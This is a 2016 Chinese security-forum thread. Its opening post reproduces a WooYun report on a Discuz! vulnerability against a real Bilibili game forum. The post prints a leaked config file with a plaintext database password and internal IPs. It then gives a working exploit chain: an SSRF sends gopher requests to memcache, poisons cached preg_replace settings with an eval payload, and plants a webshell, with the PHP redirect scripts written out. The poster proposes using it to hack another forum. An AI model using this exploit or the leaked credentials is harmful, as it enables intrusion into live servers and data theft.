请选择 进入手机版 | 继续访问电脑版
查看: 1811|回复: 9

论 红盟的安全性

[复制链接]
  • TA的每日心情
    慵懒
    2017-4-9 19:10
  • 签到天数: 149 天

    [LV.7]常住居民III

    发表于 2016-7-10 19:30:15 | 显示全部楼层 |阅读模式
    本帖最后由 人=族 于 2016-7-11 19:58 编辑

    乌云案例:   

    ()dz ssrf 太多官方都修不过来)

    今天来说说一个关于discuz的神洞,有必要的话稍后再提交给官方。
    详细说明:
    这个只是memcache的案例,如果是redis更好利用了



    0x00 前言

    扫描器时常会扫描到一些信息泄露,如discuz的配置文件 /config/config_global.php~

    里面时常带有数据库密码等,但又苦于内网,十分尴尬。


    0x01 个例分析

    以bilibili这个为例

    http://bbs.biligame.com/config/config_global.php~



    code 区域
    <?php
    $_config = array();

    // ----------------------------  CONFIG DB  ----------------------------- //

    $_config['db']['1']['dbhost'] = '192.168.10.10';

    $_config['db']['1']['dbuser'] = 'gamebbs';

    $_config['db']['1']['dbpw'] = 'HdUbOY2YCAoKi3U0';

    $_config['db']['1']['dbcharset'] = 'utf8';

    $_config['db']['1']['pconnect'] = '0';                                   //此处禁止修改!

    $_config['db']['1']['dbname'] = 'gamebbs';

    $_config['db']['1']['tablepre'] = 'bbs_';

    $_config['db']['slave'] = '';

    $_config['db']['common']['slave_except_table'] = '';



    // --------------------------  CONFIG MEMORY  --------------------------- //

    $_config['memory']['prefix'] = 'NTOSSw_';

    $_config['memory']['redis']['server'] = '';

    $_config['memory']['redis']['port'] = 6379;

    $_config['memory']['redis']['pconnect'] = 1;

    $_config['memory']['redis']['timeout'] = '0';

    $_config['memory']['redis']['requirepass'] = '';

    $_config['memory']['redis']['serializer'] = 1;

    $_config['memory']['memcache']['server'] = '192.168.10.12';

    $_config['memory']['memcache']['port'] = 11211;

    $_config['memory']['memcache']['pconnect'] = 1;

    $_config['memory']['memcache']['timeout'] = 1;

    $_config['memory']['apc'] = 0;

    $_config['memory']['xcache'] = 0;

    $_config['memory']['eaccelerator'] = 0;

    $_config['memory']['wincache'] = 0;




    注意到使用了 memcache

    如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261

    相信都被这个漏洞的巧妙之处所吸引。



    那么,这discuz是否也存在同样的漏洞呢?

    于是查找调用缓存的地方

    \source\function\function_core.php



    code 区域
    function output_replace($content) {

            global $_G;

            if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;

            if(!empty($_G['setting']['output']['str']['search'])) {

                    if(empty($_G['setting']['domain']['app']['default'])) {

                            $_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);

                    }

                    $content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);

            }

            if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {

                    if(empty($_G['setting']['domain']['app']['default'])) {

                            $_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);

                            $_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);

                    }



                    $content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);

            }



            return $content;

    }




    真发现有一处。

    这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。



    并且,discuz的ssrf是存在多处的,并且官方估计也很难去修复。

    WooYun: Discuz!另一处SSRF无须登陆无须条件



    于是测试,居然发现服务器支持gohper 协议呀。

    下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。

    漏洞证明:
    0x02 漏洞利用

    测试利用转发代码

    code 区域
    <?php

    header('Location: gopher://自己服务器:80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');

    ?>




    测试返回如下图







    万事俱备了,行动

    先准备好两个页面,便于写完shell后还原。

    wshell.php

    code 区域
    <?php

    header('Location: gopher://192.168.10.12:11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');

    ?>




    cls.php

    code 区域
    <?php

    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete NTOSSw_setting%0d%0a');

    ?>




    请求

    http://bbs.biligame.com/forum.ph ... oteimg&message=



    从上面可知,这是一句话,由于要绕过waf,所以base64一下。








    写入文件shell



    http://bbs.biligame.com/forum.ph ... nremoteimg&message=



    还原缓存



    最后一句话地址为:

    http://bbs.biligame.com/data/cache/hello.php






    有个吊毛 说要黑掉 红盟 我觉得这是弯道超车 的好办法

       QQ图片20160710192614.jpg


    没看见他来 昨天   这货跑去干这个


    QQ截图20160711195624.png
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2020-9-14 23:06
  • 签到天数: 537 天

    [LV.9]以坛为家II

    发表于 2016-7-10 19:42:43 | 显示全部楼层
    这叼毛
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-11-12 12:49
  • 签到天数: 222 天

    [LV.7]常住居民III

    发表于 2016-7-10 19:51:05 | 显示全部楼层
    我就呵呵了( ̄▽ ̄)"
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2019-11-23 18:49
  • 签到天数: 592 天

    [LV.9]以坛为家II

    发表于 2016-7-10 22:38:14 | 显示全部楼层
    b站其实被别人日过一遍 不知道是不是这种方法
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    10 小时前
  • 签到天数: 902 天

    [LV.10]以坛为家III

    发表于 2016-7-10 22:46:12 | 显示全部楼层
    你这个标题取的让我不禁哆嗦了一下
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-1-11 17:10
  • 签到天数: 124 天

    [LV.7]常住居民III

    发表于 2016-7-11 18:00:20 | 显示全部楼层
    人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

    点评

    马赛克呢  详情 回复 发表于 2016-7-12 11:19
    你以为是冰儿的红盟啊  详情 回复 发表于 2016-7-11 19:55
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-4-9 19:10
  • 签到天数: 149 天

    [LV.7]常住居民III

     楼主| 发表于 2016-7-11 19:55:08 | 显示全部楼层

    RE: 论 红盟的安全性

    porry 发表于 2016-7-11 18:00
    人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

    你以为是冰儿的红盟啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-13 00:40
  • 签到天数: 444 天

    [LV.9]以坛为家II

    发表于 2016-7-12 00:19:35 | 显示全部楼层
    那么容易随便被盖帽子,,论坛安全维护组那群人就该蹲墙角画圈圈了
    精神支持你盖一下90帽子 真成功盖帽子我给你发礼品
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-1 13:44
  • 签到天数: 68 天

    [LV.6]常住居民II

    发表于 2016-7-12 08:43:54 | 显示全部楼层
    我就呵呵了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-2-12 13:49
  • 签到天数: 101 天

    [LV.6]常住居民II

    发表于 2016-7-12 11:19:05 | 显示全部楼层

    RE: 论 红盟的安全性

    porry 发表于 2016-7-11 18:00
    人家是说劫持 ,你是故意拉仇恨的吧,我也在哪个群

    马赛克呢
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表